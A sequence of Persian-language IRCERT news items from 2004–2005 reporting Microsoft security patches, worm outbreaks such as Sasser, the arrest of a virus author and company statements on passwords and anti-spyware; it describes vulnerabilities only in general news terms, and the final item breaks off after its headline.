مشکل امنیتی موجود در شبکه بازی ، تنها بازی هایی را تحت تاثیر قرار می دهد که از سیستم بازی رایگان peer-to-peer مایکروسافت استفاده می کنند و بازیهای مشهوری مانند Quake و Unreal Tournamentکه از معماری کارگزار/مشتری استفاده می کنند با مشکلی روبرو نمی شوند. این مشکل در نسخه های ویندوز 98 ، 98 SE ،‌ ME ،‌ 2000 ، XP ، XP 64 بیتی و 2003 سرور وجود دارد و باعث می شود تا بازی اصطلاحا crash کند یا واسط کاربر آن پاسخگو نباشد.

اما Crystal Reports Web Viewer به کاربران اجازه می دهد تا اسناد ایجاد شده با
 Business Objects' Crystal Reports را مورد بازبینی و تغییر قرار دهند. حفره موجود در آن به هکر اجازه می دهد تا فایلهای سیستم قربانی را تغییر دهد یا حذف کند.

با ارائه این دو اصلاحیه ،‌تعداد اصلاحیه های صادر شده در سال 2004 به 17 عدد رسیده است.


﻿ IRCERT - یک مشکل امنیتی ویندوز اصلاح شد - اخبارها و هشدارها

یک مشکل امنیتی ویندوز اصلاح شد

11 مه – 22 اردیبهشت

مایکروسافت امروز یک حفره امنیتی جدید را در ویندوز XP و Windows Server 2003 معرفی کرد که می تواند امکان اجرای کدهای خطرناک را از راه دور به یک هکر بدهد. این شرکت درجه اهمیت این حفره را مهم ( Important) توصیف کرده که در واقع در دومین سطح اهمیت از نظر مایکروسافت قرار دارد.شرکت Symantec نیز این حفره را به عنوان high risk ارزیابی کرده است.

این مشکل امنیتی در روشی است که Windows' Help and Support Center برای اعتبارسنجی اطلاعات ارسالی به آن به کار می برد. مایکروسافت یک اصلاحیه امنیتی برای رفع این مشکل ارائه کرده و از کاربران خواسته است تا هرچه سریعتر این اصلاحیه را دریافت و نصب کنند.

این مشکل در زمانی اعلام می شود که مایکروسافت در حال مبارزه با نسخ مختلف کرم Sasser است. البته این حفره نمی تواند به سادگی بوسیله یک کرم اینترنتی و از طریق ایمیل مورد استفاده قرار گیرد.بنا به گفته مایکروسافت و Symantec کاربر باید چند عمل و مرحله را انجام دهد تا بتواند به سیستم نفوذ کند. در واقع هکر باید یک وب سایت را راه اندازی نماید که از طریق صفحات آن بتوان به یک سیستم قابل نفوذ وارد شد. سپس قربانی را قانع کند تا از آن صفحه بازدید به عمل آورد و در چند مرحله کامپیوتر قربانی را در اختیار خود درآورد.

البته اصلاحیه امنیتی ارائه شده علاوه بر رفع مشکل فوق دو تغییر دیگر نیز در ویندوز ایجاد می کند که به افزایش امنیت ویندوز کمک می کند.اول اینکه مایکروسافت امکان به روز رسانی DVD Decoder را در ویندوز XP از کاربران خود گرفته است تا کدهای خطرناک نتوانند از این امکان استفاده کنند. دوم اینکه گاهی کاربران در هنگام کاربا "Found new hardware" wizard پیغامی را دریافت می کردند مبنی بر ارسال اطلاعاتی از سخت افزار کامپیوترشان به بیرون. این پیغام از طرف Help and Support Center ارائه می شد که مایکروسافت آن را نیز حذف کرده است. پس از این در آن شرایط کاربران با یک پیغام خطا روبرو خواهند شد.


﻿ IRCERT - خبرهای خوش مایکروسافت برای تعطیلات - اخبارها و هشدارها

خبرهای خوش مایکروسافت برای تعطیلات

14 دسامبر 2004 - 24 آذر 1383

مایکروسافت این ماه توانسته است یک هدیه کوچک به مدیران شبکه ها بدهد: هیچ یک از اصلاحیه های ارائه شده درجه critical‌ندارند.

امروز این شرکت 5 اصلاحیه را برای پوشش 9 حفره موجود در سیستم عامل ویندوز ارائه کرده است و هیچ یک از این حفره ها خطر جدی و مهمی را ایجاد نمی کند. مایکروسافت هفته گذشته از آمدن این اصلاحیه خبر داده بود.

اوایل این ماه مایکروسافت یک اصلاحیه خارج از برنامه ماهانه خود برای IE‌ ارائه کرد که حفره موجود در این مرورگر را پوشش می داد.

5 راهنمایی امنیتی ماه دسامبر آخرین اصلاحیه های برنامه ریزی شده برای انتشار در سال جاری هستند. اگر این شرکت بولتن امنیتی دیگری در این ماه منتشر نکند، در مجموع 45 اصلاحیه در سال 2004 منتشر شده که نسبت به 51 اصلاحیه سال 2003 کاهش پیدا کرده است.

مایکروسافت گاه با یک اصلاحیه چند حفره را پوشش می دهد و در بعضی موارد نیز بدون سروصدا نسبت به رفع اشکالات اقدام می کند.

حتی کاربران سیستم عامل ویندوز XP که SP2 را نیز نصب کرده اند، به 3 اصلاحیه از 5 مورد ارائه شده نیاز دارند.


﻿ IRCERT - اخبار و هشدارها - IE اصلاحیه برای سه مشکل امنیتی مهم در

اصلاحیه برای سه مشکل امنیتی مهم در IE

30 جولای 2004 – 9 مرداد 1383

مایکروسافت امروز یک اصلاحیه امنیتی ارائه کرد که سه حفره امنیتی خطرناک در IE را می پوشاند. از جمله آنها حفرهای است که راه را برای اسب تروای Download.Ject‌ باز می کند.

پیش از این مایکروسافت یک گردش کاری را عرضه کرده بود و قول داده بود تا به زودی اصلاحیه مورد نظر را ارائه کند. همچنین مایکروسافت از طریق قانونی اقدام کرد تا سایت روسی منبع کد خطرناک را ببندد.

اصلاحیه جدید که در بخش امنیتی سایت مایکروسافت دردسترس است، حفره را می پوشاند. مایکروسافت به همه کاربران توصیه کرده است که مرورگرهای خود را به روز کنند. اگر بخواهیم از نظر فنی بررسی کنیم ، مشکل امنیتی مذکور با عنوان cross-domain شناخته می شود. هکرها می توانند با استفاده از این حفره ، مرز امنیتی مرورگر را دچار اختلال کنند و کدهای خطرناک را اجرا کنند.

همچنین این اصلاحیه دو مشکل امنیتی شناخته شده دیگر در IE را نیز پوشش می دهد. هر دو مشکل مربوط به پردازش تصویر هستند و هر دو دارای درجه اهمیت بحرانی یا critical هستند چون امکان اجرای کد خطرناک بر روی سیستم قربانی را به هکر می دهند. مایکروسافت از انجام هرگونه هک با استفاده از این دو حفره ابراز بی اطلاعی می کند.

شرکت Symantec نیز به کاربران توصیه کرده است هرچه سریعتر این اصلاحیه را دریافت و نصب کنند.

مایکروسافت با اشاره به افزایش امنیت IE و ویندوز XP در Service Pack 2 ، خاطر نشان کرده است که کاربرانی که از آن نسخه استفاده می کنند در برابر این مشکل امنیتی در خطر نیستند چون تغییراتی داخلی در ساختار مرورگر آنها انجام شده است.


﻿ IRCERT - پوشش حفره های مهم ویندوز - اخبارها و هشدارها

پوشش حفره های مهم ویندوز

12 آوریل 2005 - 23 فروردین 1384

مایکروسافت امروز اعلام کرد که تعدادی اصلاحیه امنیتی را در قالب به روز رسانی ماهانه منتشر کرده است که 5 اصلاحیه دارای درجه critical هستند.

این به روز رسانی ها شامل 5 اصلاحیه مهم برای TCP/IP networking در ویندوز، IE ، MSN Messenger ،‌ آفیس و سرور Exchange است. Critical در واقع بالاترین درجه خطر در نزد مایکروسافت است. سه حفره دیگر دارای درجه important هستند یعنی یک درجه پایین تر قرار دارند.

به گفته مایکروسافت در هر یک از موارد اگر از حفره سوء استفاده شود، هکر می تواند کنترل سیستم را از راه دور در اختیار بگیرد.

استفان تولوز - مدیر برنامه امنیتی مرکز پاسخگویی امنیتی مایکروسافت - معتقد است از نظر عمومی مایکروسافت در جنبه های امنیتی پیشرفت کرده است. وی خاطر نشان می کند که بسیاری از حفره های کشف شده برای کاربرانی که از آخرین نسخ نرم افزارها استفاده می کنند، دارای این درجه از خطر نیستند. برای مثال مشکل موجود در سرور Exchange برای کاربرانی که از Exchange Server 2003‌ استفاده می کنند دارای درجه خطر moderate است.

شرکت Internet Security Systems که سال گذشته مشکل Exchange را یافت، با انتشار اصلاحیه به معرفی دقیق تر این مشکل پرداخته است. این شرکت معتقد است که برای سوء استفاده از این حفره نیازی به تعاملی از سوی کاربر وجود ندارد و لذا یک کرم به راحتی می تواند از طریق آن منتشر شود و خسارات زیادی به بار آورد.

ISS که حفره موجود در TCP/IP را نیز یافته است، آن را خطرناکتر از مشکل Exchange می داند چون به صورت بسیار گسترده ای از این پروتکل استفاده می شود و قابل غیرفعال کردن نیست.

کاربران می توانند با مراجعه به سایت مایکروسافت این اصلاحیه ها را دریافت کنند.


﻿ IRCERT - اخبار و هشدارها- Exchange پوشانده شدن حفره ای در

حفره Exchange پوشانده می شود

10 آگوست 2004 – 20 مرداد 1383

مایکروسافت امروز اصلاحیه ای برای Exchange 5.5 و سرور مربوطه منتشر کرد که یک مشکل امنیتی با درجه خطر moderate یا 2 از 4 را می پوشاند.

بنا به گفته مایکروسافت،‌ وجود یک مشکل امنیتی باعث شده است تا کاربرانی که از Outlook Web Access استفاده می کنند، در معرض حمله هکرها قرار گیرند. یک هکر می تواند با استفاده از یک اکانت روی سرور Exchange یک شرکت ، اسکریپتی را ایجاد کند که هرگاه توسط یک کاربر Outlook Web Access روی همان سرور اجرا شود ، ‌امکان دسترسی به ایمیلها و اطلاعات کاربر برای هکر میسر شود. همچنین این مشکل امنیتی به یک برنامه نویس اجازه می دهد تا در کش سرور اطلاعات ، تصاویر و صفحات وب قلابی قرار دهد.

مایکروسافت مدعی است که این حفره به راحتی قابل استفاده نیست چون هکر باید روی آن سرور اکانت داشته باشد و کاربر نیز اجازه دسترسی بدهد.

هفته گذشته مایکروسافت بزرگترین مجموعه اصلاحیه ها و امکانات جدید خود را برای سیستم عامل ویندوز در اختیار تولیدکنندگان قرار داد. این نسخه به روز رسانی که همان Service Pack 2 مشور است ، فایروال را بهبود می بخشد ، یک اپلت نرم افزاری اضافه می کند که وضعیت امنیت فعلی یک کامپیوتر را نمایش می دهد و سایر جوانب امنیتی آن را تقویت می کند.

SP2 به مشکلات سرورها مثل حفره اخیر Exchange کاری ندارد. این مشکل در گروه حفره های cross-site scripting می گنجد یعنی حفره هایی که با عث می شوند تا به کمک یک سایت با مدل امنیتی ضعیف تر از یک سایت با مدل امنیتی قویتر عبور کرد. معمولا این گروه از حفره ها عملکرد پیچیده ای دارند.

بنابه گفته مایکروسافت این حفره نسخ اخیر یعنی Exchange 2000 و Exchange 2003 را تحت تاثیر قرار نمی دهد و درصورتی که شرکت از قابلیت Outlook Web Access استفاده نکند، حتی نسخه 5.5 نیز خطرناک نیست. اصلاحیه مربوطه از سایت مایکروسافت قابل دریافت است.


﻿ IRCERT - اخبار و هشدارها - XP یک اصلاحیه مهم امنیتی برای ویندوز

یک اصلاحیه مهم امنیتی برای ویندوز XP

16 دسامبر 2004 - 26 آذر 1383

امروز مایکروسافت یک اصلاحیه مهم و با درجه critical را برای یک مشکل امنیتی که توسط SP2 پوشش داده نشده بود، منتشر کرد.

بنابه گفته مسئول مدیریت محصول ویندوز این تغییر پیکربندی باعث بسته شدن حفره ای در فایروال ویندوز می شود که می توانست یک کامپیوتر را درصورت به اشتراک گذاردن فایل یا پرینتر، در مقابل حملات بی دفاع بگذارد. وی می افزاید:“ فایروالی که ما با Service Pack2 منتشر کردیم بسیار بهتر از قبل بود اما امنیت می تواند شمول بیشتری داشته باشد. ما در ماه سپتامبر به کاربران گفته بودیم که یک به روز رسانی نرم افزاری خواهیم داشت و حالا به قول خود عمل کرده ایم.“

هر فردی با کمک این حفره می توانست به کامپیوتر کاربری که file sharing exceptions را در فایروال SP2 کامپیوترش تنظیم کرده، دسترسی داشته باشد. این مشکل امنیتی تنها کسانی را تحت تاثیر قرار می دهد که با روش dial up به اینترنت متصل می شوند.

مایکروسافت مشکل امنیتی پیکربندی را در گروه مشکلات نرم افزاری نمی داند و به همین دلیل است که این به روز رسانی را همراه با اصلاحیه های اوایل این هفته منتشر نکرده است.

کاربران ویندوز XP که از Windows update استفاده می کنند به صورت خودکار تغییرات پیکربندی را دریافت خواهند کرد.


﻿ IRCERT - گردش کار برای یک مشکل امنیتی نه ماهه - اخبارها و هشدارها

گردش کار برای یک مشکل امنیتی 9 ماهه

2 جولای 2004 – 12 تیر 1383

مایکروسافت امروز گردش کاری را برای یک مشکل امنیتی که از حدود 9 ماه پیش کاربران را در معرض خطر قرار داده ، منتشر کرد.

این مشکل امنیتی که در بخش ActiveX scripting وجود دارد زمانی اهمیت خود را نشان داد که از آن برای نصب یک برنامه خطرناک توسط شبکه ای از سایتها استفاده شد. مایکروسافت تصمیم گرفته است تا این مشکل را با غیرفعال کردن امکان نوشتن ActiveX در سیستم عامل برطرف کند. مایکروسافت این گردش کار را روی سایت خود منتشر کرده است و به مشتریان کمک می کند تا از طریق سرویس به روز رسانی ویندوز اصلاحیه مربوطه را دریافت و نصب کنند.

استفان تولوز – مدیر برنامه های امنیتی مرکز پاسخگویی امنیتی مایکروسافت – در این باره می گوید:“ از آنجا که مایکروسافت می خواهد این تغییر در قالب یک استاندارد پیکربندی در ویندوز ارائه شود لذا بدنبال روش جامع تری می گردد.“ وی ادامه می دهد:“ این یک تغییر دائمی است اما ما هنوز در اواسط تحقیقات خود هستیم . ما به کارکرد محصول با دقت نگریسته ایم و متوجه شده ایم که هکرها از این کارکرد سوء استفاده زیادی می کنند.“

این مشکل امنیتی باعث می شد تا سایتهای آلوده بتوانند تا بر روی کامپیوترهای بازدیدکنندگان یک اسب تروا نصب کنند . این تروا می تواند کلیدهای فشرده شده را ثبت و برای هکر ارسال کند.

مایکروسافت درحال مطالعه است و انتظار می رود تا اصلاحیه بهتری را عرضه کند. البته گفته می شود که تابستان امسال با ارائه Service Pack 2 برای ویندوز XP یک به روز رسانی امنیتی مهم انجام خواهد شد.


﻿ IRCERT - اخبار و هشدارها - IEبررسی مشکل امنیتی

بررسی مشکل امنیتی IE

28 سپتامبر 2005 – 6 مهر 1384

متخصصان امنیتی هشدار دادند که یک مشکل امنیتی جدید در IE می تواند باعث حملات مبتنی بر Spoof و یا دسترسی و تغییر داده ها روی کامپیوترهای قابل نفوذ شود.

بنابر تحقیقات انجام شده، این مشکل به شیوه پیاده سازی یک جزء JavaScript در مرورگر مایکروسافت بازمی گردد. متخصصین می گویند، هنگامی که از XmlHttpRequest استفاده می شود، IE اعتبار بعضی فیلدهای اطلاعاتی را که توسط کامپیوتر تامین می شوند، کنترل نمی کند.

این حفره را می توان با یک کد خاص مورد سوء استفاده قرار داد. یک هکر می تواند یک وب سایت قانونی را جعل کند و به اطلاعات از طریق Cache مرورگر دسترسی پیدا کند. همچنین می تواند از روشی با نام man-in-the-middle attack استفاده کند که طی آن هکر به ترافیک بین کاربر و یک سایت دیگر نفوذ می کند.

Secunia در یک راهنمایی امنیتی هشدار داده است که حتی سیستمهای کامپیوتری کاملا اصلاح شده با سیستم عامل XP و SP2 و مرورگر IE 6 نیز در برابر این مشکل آسیب پذیرند. Secunia درجه خطر این حفره را moderately critical اعلام کرده است اما اشاره کرده است که کاربران می توانند با تغییر تنظیمات امنیتی مرورگر خود و ارتقا آن به درجه high، از این خطر اجتناب کنند.

مایکروسافت در حال بررسی گزارش ارائه شده است اما تا به حال خبری درباره سوء استفاده از این حفره دریافت نکرده است. غول نرم افزاری دنیا بازهم به شیوه اطلاع دادن متخصصان امنیتی درباره این حفره معترض است و می گوید باید پیش از مطلع کردن عموم از یک مشکل، به سازنده زمان کافی برای اصلاح آن را داد.

Secunia 86 راهنمایی امنیتی درباره IE منتشر کرده است که وضعیت 20 راهنمایی هنوز به صورت "اصلاح نشده" است.


﻿ IRCERT - اصلاحیه های مهم مایکروسافت - اخبارها و هشدارها

اصلاحیه های مهم مایکروسافت

8 فوریه 2005 - 20 بهمن 1383

امروز مایکروسافت تعداد زیادی اصلاحیه را در قالب به روز رسانی ماهانه خود ارائه کرد که بیش از نیمی از این اصلاحیه ها دارای بالاترین درجه اهمیت مایکروسافت یعنی critical هستند.

مایکروسافت 12 اصلاحیه ارائه کرده که 8 اصلاحیه دارای درجه critical هستند. این به روز رسانی های مهم در Office XP، IE 6 و یک بخش فایل تصویری از سیستم عامل ویندوز که برای Media Player و MSN Messenger عمل می کند، انجام شده است.

در میان اصلاحیه ها، یک به روز رسانی مهم نیز وجود دارد که مشکلات و حفره های پیشین IE را نیز پوشش می دهد. این به روز رسانی IE حفره هایی را پوشش می دهد که هکر می توانست از طریق آن حفره ها کنترل سیستم را در دست بگیرد، ‌برنامه نصب کند، داده ها را تغییر دهد، مشاهده کند و یا حذف کند و اکانتهایی با اختیارات کامل ایجاد کند.

اگر IE 6 همراه با SP1 مربوط به آن روی ویندوز XP با یا بدون SP1 یا ویندوز 2000 با SP4 یا SP3 نصب شده باشد، در برابر این حملات در خطر است.


﻿ IRCERT - اخبار و هشدارها - IE یک اصلاحیه مهم برای

یک اصلاحیه مهم برای IE

1 دسامبر 2004 - 11 آذر 1383

امروز مایکروسافت اصلاحیه ای را برای مرورگر IE منتشر کرد که یک حفره یک ماهه را می پوشاند. حفره ای که در این مدت ویروسها از آن جهت گسترش استفاده کرده اند و هکرها با به کارگفتن آن حملاتی را از طریق تبلیغات برای دراختیار گرفتن کامپیوتر انجام داده اند.

این حفره که توسط مایکروسافت Internet Explorer Elements flawنام گرفته ، پیش از این iFrame نام داشت. این مشکل - که کامپیوترهای دارای SP2 را تحت تاثیر قرار نمی دهد - به یک هکر اجازه می دهد که درصورتی که کاربر به عنوان administrator وارد شده باشد، کنترل سیستم وی را در اختیار بگیرد. اکثر کاربران خانگی به این عنوان وارد سیستم خود می شوند.

یک سخنگوی مایکروسافت گفته است از آنجا که این حفره توسط نرم افزارهای خطرناک جهت نفوذ استفاده شده بود، مایکروسافت برآن شد تا اصلاحیه آن را پیش از برنامه به روز رسانی ماهانه خود ارائه کند.

زمانی که یک کاربر روی یک لینک ساده کلیک می کند، یک هکر می تواند با استفاده از این حفره کنترل کامپیوتر وی را در اختیار بگیرد.پس از آن وی کنترل کامل سیستم را در اختیار خواهد داشت و خواهد توانست برنامه نصب کند، داده ها را ببیند، تغییر دهد و یا حذف کند و اکانت های جدیدی ایجاد کند.

طی ماه گذشته دو ویرس Bofra.A و Bofra.B که بسیار شبیه MyDoom بودند، با استفاده از همین حفره امنیتی منتشر شدند. همچنین هکرها توانستند حداقل به یک سرور تبلیغاتی نفوذ کنند و از آن برای حمله به کامپیوترهای کاربران استفاده کنند.

این مشکل کامپیوترهای دارای مرورگر IE6 را تحت تاثیر قرار می دهد. آخرین به روز رسانی برای این مرورگر از طریق سایت مایکروسافت قابل انجام است.


﻿ IRCERT - مایکروسافت: برای جایزه باید صبر کنید - اخبارها و هشدارها

مایکروسافت: برای جایزه باید صبر کنید

10 سپتامبر 2004 - 20 شهریور 1383

سون جاشان - فردی که متهم است کرم ساسر و نسخ مختلف ویروس Netsky را نوشته است - این هفته بوسیله پلیس آلمان تفهیم اتهام شد، اما بنا به گفته مایکروسافت ،‌شخصی که اطلاعات وی منجر به دستگیری سون شده است باید هنوز منتظر جایزه 250 هزار دلاری بماند.سون 18 ساله به اتهام خرابکاری منتظر تشکیل دادگاه است، اما هنوز زمانی برای این کار تعیین نشده است.

مایکروسافت یک برنامه 5 میلیون دلاری تنظیم کرده است که طی آن به افرادی که نویسندگان ویروسها و کرمها را معرفی کنند جایزه داده می شود و دستگیری سون جاشان اولین نتیجه این برنامه بوده است. البته این شرکت چند جایزه 250 هزار دلاری را برای معرفی نویسندگان کرم MSBlast ، ویروس Sobig و ویروس MyDoom نیز قرار داده است اما هنوز فردی به عنوان متهم دستگیر نشده است.

منابع موثق گفته اند که جاشان به نوشتن و انتشار ساسر و چندین نسخه از Netsky اعتراف کرده است. پلیس آلمان توانسته بود وی را در ماه مه و در نتیجه اطلاعات یک فرد مطلع دستگیر کند.

کرم ساسر و شش نسخه شناخته شده آن توانسته اند صدها هزار کامپیوتر دارای سیستم عامل ویندوز را آلوده کنند. بعضی تعداد قربانیان را چندین میلیون اعلام کرده اند. ویروس Netsky و بیش از 30 نسخه آن - که جاشان متهم به نوشتن اکثر آنهاست- نیز صدها هزار کامپیوتر را آلوده کرده است.

پلیس درحال انجام تحقیقاتی است تا مطمئن شود که فرد مطلع خود نویسنده ویروس است یا خیر. مایکروسافت درباره پرداخت یا عدم پرداخت جایزه درصورت اثبات ویروس نویس بودن وی اظهار نظری نکرده است اما گفته است تا قطعی نشدن اتهام سون ، جایزه را پرداخت نخواهد کرد.

کارشناسان معتقدند که سون در نوشتن و انتشار این ویروسها تنها نبوده است و لذا باید منتظر دستگیریهای بیشتری بود.


﻿ IRCERT - کلمات عبور خود را بنویسید! - اخبارها و هشدارها

کلمات عبور خود را بنویسید!

23 مه 2005 - 2 خرداد 1384

به عقیده مدیر ارشد امنیتی مایکروسافت شرکتها نباید از کارمندانشان بخواهند که کلمات عبور را یادداشت نکنند، چون این محدودیتها باعث می شود که کاربران از یک کلمه عبور ضعیف بر روی سیستم های مختلف استفاده کنند.

جسپر یوهانسون ، مدیر ارشد سیاستهای امنیتی مایکروسافت ، طی سخنرانیش در افتتاحیه کنفرانسی که توسط گروه امداد امنیت کامپیوتری استرالیا (AusCERT) برگزار شده بود، اضافه کرد که به نظر وی ننوشتن کلمه عبور ،‌توصیه اشتباه صنعت امنیت به کاربران بوده است.

وی از حضار پرسید:؛ چند نفر از شما در سیاست امنیتی سازمانتان از کاربر می خواهید که حتی به قیمت جانش کلمه عبورش را ننویسد؟“ اکثر حاضران در جلسه دست خود را بالا بردند. وی ادامه داد:“ من مدعی هستم که این کار کاملا اشتباه است. من می گویم که سیاست امنیتی باید به شما بگوید که کلمه عبور خود را یادداشت کنید. من شخصا 68 کلمه عبور دارم. اگر اجازه نداشته باشم که آنها را بنویسم، فکر می کنید چه کاری انجام خواهم داد؟ یک کلمه عبور را به جای تمامی آنها به کار خواهم گرفت.“

به نظر یوهانسون استفاده از کلمه عبور یکسان امنیت را کاهش می دهد. وی می گوید:“ از آنجایی که تمامی سیستمها اجازه نمی دهند که یک کلمه عبور خوب انتخاب کنیم، من مجبور خواهم بود که یک کلمه عبور ساده و ابتدایی را انتخاب کنم و در همه جا به کار بگیرم و هیچ وقت آن را تغییر ندهم. اما اگر بتوانم آنها را بنویسم و از آن نوشته و یا رسانه حاوی کلمات عبور به خوبی محافظت کنم، هیچ مشکلی پیش نمی آید و من می توانم کلمات عبور بیشتر و بهتری داشته باشم.“

یوهانسون معتقد است که صنعت امنیت برای 20 سال توصیه اشتباهی درباره کلمات عبور به کاربران می کرده است.


﻿ IRCERT - ویندوز را 15 بار امن تر می کند - اخبارها و هشدارها SP2

SP2 ویندوز را 15 بار امن تر می کند

24 مه 2005 - 3 خرداد 1384

یکی از کارشناسان ارشد امنیتی مایکروسافت اعلام کرده است که سیستمهایی که از XP SP2 استفاده می کنند، 15 بار نسبت به سیستمهایی که XP یا SP1 بر روی آنها در حال اجراست امن تر هستند و خطرات کمتری آنها را تهدید می کند.

جیسون گرمز ، مدیر تیم تولیدکننده برنامه ضدجاسوسی مایکروسافت، اعلام کرد که این نتایج از یک مجموعه تحلیل داخلی بر روی کارایی SP2 به دست آمده است.

گرمز که در کنفرانس AusCERT سخنرانی می کرد، افزود:“ احتمال آن که کامپیوتری که XP یا XP SP1 دارد، یکی از 20 کرم رایج و شایع را داشته باشد، 15 بار بیشتر از کامپیوتری است که سیستم عامل آن XP SP2 است.“

او معتقد است که فعال شدن مشخصه به روز رسانی خودکار توسط SP2، تفاوت چشمگیری را نسبت به قبل ایجاد کرده است. این امر باعث شده است که تنها چند روز پس از انتشار یک اصلاحیه توسط مایکروسافت، اکثر این سیستمها به روز شده باشند.

گرمز همچنین اعلام کرد که مایکروسافت قصد دارد یک نسخه تجاری از ابزار ضدجاسوسی خود را به بازار عرضه کند. نسخه بتای این ابزار در حال حاضر بر روی سایت مایکروسافت در دسترس است. البته وی به زمان ارائه این ابزار و همچنین رایگان یا پولی بودن آن اشاره ای نکرد.

وی برنامه های جاسوسی را مسئول حدود یک سوم مشکلات ویندوز دانست و دلیل این ادعا را گزارشات ارسال شده توسط ابزار گزارش خطای ویندوز معرفی کرد.


﻿ IRCERT - نرم افزار ضدجاسوسی مایکروسافت عرضه می شود - اخبارها و هشدارها

نرم افزار ضدجاسوسی مایکروسافت عرضه می شود

1 اکتبر 2004 - 10 مهر 1383

امروز بیل گیتس اعلام کرد که شرکت مایکروسافت قصد دارد تا نرم افزار ضد جاسوسی خود را عرضه کند.

گیتس گفت که این شرکت نرم افزار مزبور را برای تشخیص برنامه های خطرناک ارائه می کند و مرتبا آن را به روز خواهد کرد. وی به زمان عرضه و قیمت نرم افزار اشاره ای نکرد.

گیتس معتقد است که با وجود پیشرفتهای حاصله در مقابله با اسپم و ویروس، مشکل برنامه های جاسوسی پیچیده تر شده اند. وی اذعان کرده است که با وجودی که هیچ گاه سیستم وی به ویروس آلوده نشده، اما از هجوم برنامه های جاسوسی در امان نمانده است.

مایکروسفات در حال تست یک محصول ضدویروس نیز هست اما هنوز جزئیات آن منتشر نشده است.

سخنگوی مایکروسافت جزئیاتی از برنامه آتی این شرکت برای مقابله با برنامه های جاسوسی را منتشر نکرد.

بنا به گفته گیتس مشکل بعدی کلمات عبور هستند. وی گفت:“ کاربران از تغییر کلمه عبور خود متنفرند. آنها کلمات عبور قابل حدس را انتخاب می کنند.“ وی راه حل را استفاده از کارتهای هوشمند و ابزارهای بیومتریک می داند. گیتس معتقد است گرچه ورود این ابزارها به بازار ممکن است 5 یا 6 سال به طول بیانجامد اما بدون شک این اتفاق خواهد افتاد.


﻿ IRCERT - بازهم مشکلات امنیتی ویندوز! - اخبارها و هشدارها

بازهم مشکلات امنیتی ویندوز!

9 دسامبر 2004 - 19 آذر 1383

مایکروسافت قصد دارد در هفته آینده اصلاحیه هایی را برای رفع 5 مشکل امنیتی ارائه کند.

بنابر اطلاعات ارائه شده در سایت TechNet - متعلق به شرکت مایکروسافت - اصلاحیه ها در روز 14 دسامبر عرضه خواهد شد. معمولا و بنابر برنامه زمانبندی اعلام شده، بیش از یک سال است که مایکروسافت اصلاحیه ها را در سه شنبه دوم هر ماه منتشر می کند.

اما زمانی که این شرکت مشاهده کند که از حفره های کشف شده به صورت فعال جهت نفوذ استفاده می شود، جدا از برنامه زمانبندی اقدام به انتشار اصلاحیه می کند. اوایل این ماه این شرکت اصلاحیه ای را جهت پوشش یک حفره امنیتی مهم در مرورگر IE ارائه کرد.

بنابه گفته مایکروسافت هیچ یک از حفره های پوشش داده شده دارای درجه خطر critical نیستند و مهمترین آنها در دومین درجه خطر یعنی important قرار دارد. مایکروسافت جزئیات بیشتری درباره این مشکلات منتشر نکرده است.


﻿ IRCERT - مایکروسافت و 22 مشکل امنیتی جدید - اخبارها و هشدارها

مایکروسافت و 22 مشکل امنیتی جدید

12 اکتبر 2004 - 21 مهر 1383

امروز مایکروسافت 10 راهنمایی امنیتی نرم افزاری را منتشر کرد و کاربران ویندوز را از وجود 22 مشکل امنیتی جدید در محصولاتش با خبر ساخت.

این راهنمایی ها و اصلاحیه ها که در بولتنهای امنیتی منتشر شده اند دارای درجات خطر متفاوتی هستند که می توان به حفره امنیتی موجود در NT Server با درجه اهمیت important اشاره کرد و یا مجموعه 8 اشکال امنیتی موجود در مرورگر IE را برشمرد که 3 اشکال از این مجموعه دارای درجه خطر critical هستند و این مرورگررا در مقابل حملات بی دفاع باقی می گذارند. درجه خطر critical بالاترین میزان اهمیت را در درجه بندی مایکروسافت دارد و important از اهمیت کمتر برخوردار است. یکی از این حفره ها که در Excel وجود دارد حتی سیستم عامل مکینتاش برای کامپیوترهای اپل را تحت تاثیر قرار می دهد.

درصورتی که مدیران شبکه ها هرچه سریعتر به نصب اصلاحیه های ارائه شده اقدام نکنند، تعداد زیاد حفره ها باعث می شود که تعداد زیادی از کامپیوترهای شرکتها و کاربران در معرض خطر قرار گیرند. در ماه آوریل نیز شرایط مشابهی پیش آمد. در آن زمان مایکروسافت با انتشار 7 راهنمایی امنیتی به معرفی 20 مشکل امنیتی پرداخت که یکی از آن حفره ها چندی بعد باعث انتشار کرم ساسر شد.

استفان تولوز - مدیر برنامه امنیتی تیم پاسخگویی امنیتی مایکروسافت - می گوید:“ ما سعی داریم حدس بزنیم که مجرمان قصد دارند به چه چیزی حمله کنند. ضمنا به همه توصیه می کنیم که ابتدا به مشکلات امنیتی مهمتر رسیدگی کنند.“

الیور فریدریک - مدیر ارشد مرکز پاسخگویی امنیتی Symantec - گفته است که سه مشکل امنیتی موجود در این مجموعه می تواند به انتشار کرمی مانند ساسر منجر شود اما میزان خطر کمتر است چون سرویسهای قابل نفوذ به صورت پیش فرض روی اکثر نسخ ویندوز اجرا نمی شوند. این حفره های امنیتی به سه پروتکل شبکه مرتبط هستند که معمولا روی ویندوز فعال نیستند: Simple Mail Transfer Protocol (SMTP) ، Network News Transfer Protocol (NNTP) و
 Network Dynamic Data Exchange (NetDDE).

مایکروسافت حفره SMTP را تنها برای Exchange Server 2003 دارای درجه خطر critical و مشکل امنیتی NNTP را نیز برای Exchange 2000 بحرانی و مهم دانسته است.

سایر مشکلات امنیتی اکثرا در گروهی قرار می گیرند که برنامه های نصب شده روی کامپیوتر مانند مرورگر IE و یا برنامه Excel را تحت تاثیر قرار می دهند. در واقع 12 مشکل امنیتی از مجموعه حاضر در این گروه قرار می گیرند که 3 مشکل (از 8 مشکل) امنیتی مربوط به IE و دو حفره امنیتی مربوط به Excel دارای درجه اهمیت critical هستند.

بسیاری از این حفره های می توانند جهت ساخت سایتهایی مورد استفاده قرار گیرد که با مراجعه یک کاربر به این سایت، برنامه ای را از اینترنت اجرا کند.


﻿ IRCERT - حفره های امنیتی مایکروسافت رکورد می شکند - اخبارها و هشدارها

حفره های امنیتی مایکروسافت رکورد می شکند

13 آوریل – 25 فروردین

